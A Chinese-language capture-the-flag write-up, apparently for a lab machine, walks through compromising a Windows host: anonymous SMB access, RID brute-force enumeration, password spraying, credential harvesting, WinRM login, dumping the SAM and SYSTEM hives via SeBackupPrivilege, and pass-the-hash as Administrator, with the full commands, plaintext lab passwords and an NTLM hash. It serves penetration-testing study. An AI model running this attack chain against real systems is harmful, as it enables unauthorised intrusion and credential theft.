第一次接触 windows 渗透,前面接触了一些 linux 的渗透过程,看看有什么相似和不同的地方

# nmap

起手先 nmap 扫描

sudo nmap -A 10.10.11.35


感觉扫出来的端口比 linux 的明显多多了,这个靶机的突破口是 SMB 服务,也是很多 windows 渗透过程中会当作重点的目标之一

# SMB

SMB 是 Window 操作系统中用于文件共享、打印服务以及其他网络服务的重要协议,由于其普遍存在,容易被用来进行横向移动、信息搜集等操作
多出现于 445 端口,这里 nmap 扫描出的 microsoft-ds 是 SMB 服务的一种标识
通常指的是 Windows 网络上的文件共享和打印共享服务,这正是 SMB 协议在网络上的实现

这里则是由于配置不当导致可以匿名访问

crackmapexec smb 10.10.11.35 -u 'guest' -p ''  --shares

通过 CrackMapExec 工具,用默认低权限用户 guest 匿名登录,并列举出所有的 SMB 共享资源

可以看到,给了 HRIPC$ 的阅读权限,看看都有啥

smbclient -N //10.10.11.35/HR

利用 smbclient 工具匿名登录 SMB 服务查看共享文件夹

利用 get 将文档下载到本地

查看内容,发现了一组密码凭证

另一个 IPC$ 那边没有什么东西

# 有效用户枚举

既然有了密码凭证,就得找到对应的用户来使用
CrackMapExec 里面可以通过 rid-brute 模式来尝试寻找有效用户

crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute


这里列举出了用户账户、组账户和计算机账户,我们只需要用户账户,使用 grep 对结果进行过滤

crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser'

将用户名保存起来做进一步枚举工作 —— 密码喷洒
来点优雅 (臃肿) 的

crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' | awk -F'\' '{print $2}' | grep -oP '^\S+' | tee user_list

crackmapexec smb 10.10.11.35 -u user_list -p 'Cicada$M6Corpb*@Lp#nZp!8'


拿到 michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 这一组凭证
再利用这一组凭证登录 SMB,看看还有什么信息能够搜集

crackmapexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'  --shares


似乎没什么有用的文件权限
crackmapexec 再次发力,通过已知用户来枚举其他用户

crackmapexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'  --users


这另一组凭证不就来了吗
david.orelious:aRt$Lp#7t*VQ!3
查看这个用户的 SMB 权限

crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'  --shares


多了对 DEV 的读取权限,这不就来了
把它下载到本地

mbclient '\\10.10.11.35\DEV' -U david.orelious



又是新的一组凭证
emily.oscars:Q!3@Lp#M6b*7t*Vt

# 建立立足点

先前 nmap 扫描结果中,5958 端口开放了 wsman 服务,手握三个凭证,可以尝试远程登录

可以靠 crackmapexec 来验证 winrm 权限

crackmapexec winrm 10.10.11.35  -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8'
crackmapexec winrm 10.10.11.35  -u david.orelious -p 'aRt$Lp#7t*VQ!3'
crackmapexec winrm 10.10.11.35  -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

挨个尝试,发现最后一组验证成功 (Pwn3d!)

利用 evil-winrm 工具进行登录操作

evil-winrm -i 10.10.11.35  -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'


成功登录,获取 user flag

# 提权

查看当前用户权限

whoami /priv


有一个 SeBackupPrivilege 权限,上网搜索利用方法
核心就是利用权限将 sam 和 system 转储出来,后面利用 impacket-secretsdump 工具破解 hash
有意思的是获取 sam 和 system 文件早就有人写过了,直接放 /temp 目录下让我逮着了
命令还是贴一下吧

reg save hklm\sam c:\temp\san
reg save hklm\system c:\temp\system

直接 download 到本地

impacket-secretsdump -sam sam -system system local


最后利用 evil-winrm 登录 Administrator 就大功告成了

evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'